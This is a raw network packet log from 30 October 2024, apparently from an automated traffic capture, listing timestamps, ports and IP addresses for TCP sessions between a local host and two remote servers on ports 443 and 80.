Oct 30, 2024 12:36:30.166538000 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.178184986 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:30.178272963 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.178406954 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:30.178708076 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:30.178736925 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.796168089 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.796281099 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:30.800123930 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:30.800137043 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.800344944 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.811355114 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:30.811355114 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:30.811434031 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:31.265861988 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:31.265954018 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:31.266146898 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:31.266230106 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:31.266256094 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:31.266268969 CET	49743	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:31.266275883 CET	443	49743	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:31.267608881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:31.273170948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:31.273256063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:31.273386955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:31.278842926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189158916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189213037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189253092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189285040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189308882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.189321995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189336061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.189357996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189393044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189446926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189482927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189512968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.189521074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.189549923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.189574003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.194947958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.195080042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.198909998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.348793030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.348937988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.348949909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.348962069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.348973989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.349010944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.349037886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.349050045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.349095106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.349183083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.349195004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.349235058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.349972963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.350019932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.350029945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.350080967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.350352049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.350405931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.350418091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.350460052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.350555897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.350568056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.350605965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.351377010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.351394892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.351406097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.351452112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.351931095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.351943016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.351996899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.354340076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.354368925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.354406118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.508033991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508137941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508168936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508239031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508265972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.508271933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508296967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.508311033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508385897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508439064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508470058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.508471966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508503914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.508528948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508574009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.508797884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508853912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508888960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.508903980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.508975983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509010077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509021044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.509044886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509080887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509093046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.509195089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509223938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509282112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.509587049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509639025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509640932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.509675026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509726048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.509799004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509831905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509866953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509876966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.509905100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.509957075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.510001898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.510036945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.510092020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.510493994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.510545015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.510580063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.510596037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.510668039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.510701895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.510718107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.510735035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.510781050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.511101961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511135101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511168003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511187077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.511218071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511250973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511266947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.511286020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511337042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511347055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.511372089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511405945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511485100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.511925936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511962891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.511981964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.511996031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.512046099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.513683081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.513818979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.513870955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.667740107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.667824030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.667880058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.667881012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.667932987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.667969942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.667999983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668000937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668035984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668075085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668107986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668131113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668160915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668210030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668232918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668261051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668311119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668320894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668345928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668379068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668395042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668417931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668451071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668497086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668500900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668534994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668554068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668567896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668597937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668628931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668648005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668694019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668699026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668732882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668768883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668797016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668828964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668839931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668867111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668900013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668908119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.668955088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668988943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.668999910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669024944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669058084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669083118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669090986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669126034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669137001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669202089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669235945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669256926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669270992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669320107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669356108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669408083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669441938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669459105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669476986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669511080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669526100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669544935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669578075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669591904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669610977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669646025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669720888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669833899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669869900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669891119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669905901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.669953108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.669970989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670005083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670039892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670054913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.670191050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670223951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670248032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.670257092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670291901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670305967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.670329094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670357943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.670439959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.693227053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.693250895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.693269014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.693286896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.693361044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.694685936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.694741964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.694756031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.694888115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.694904089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.694915056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.694937944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.694942951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.694983959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.694999933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695177078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695189953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695200920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695213079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695224047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695235968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695245981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695257902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695257902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695293903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695306063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695709944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695722103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695732117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695744038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695755005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695761919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695765972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695779085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695787907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695791006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695802927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695813894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695826054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695831060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695833921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695842981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695854902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.695880890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.695925951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.696348906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.696361065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.696367025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.696377039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.696388006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.696400881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.696410894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.696429014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.751125097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.827409983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827475071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827507019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827613115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.827625036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827661991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827696085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827706099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.827756882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827805996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.827828884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827863932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827897072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827915907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.827931881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.827979088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.828033924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828087091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828120947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828140974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.828289032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.828505039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828583956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828628063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.828804016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828839064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828891993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.828891993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828927994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828963041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.828978062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.828996897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829030991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829042912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.829199076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829232931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829266071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829298973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829320908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.829333067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829389095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829404116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.829474926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829524994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.829528093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829562902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829611063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.829700947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829730988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829765081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829798937 CET	80	49744	185.215.113.16	192.168.2.4
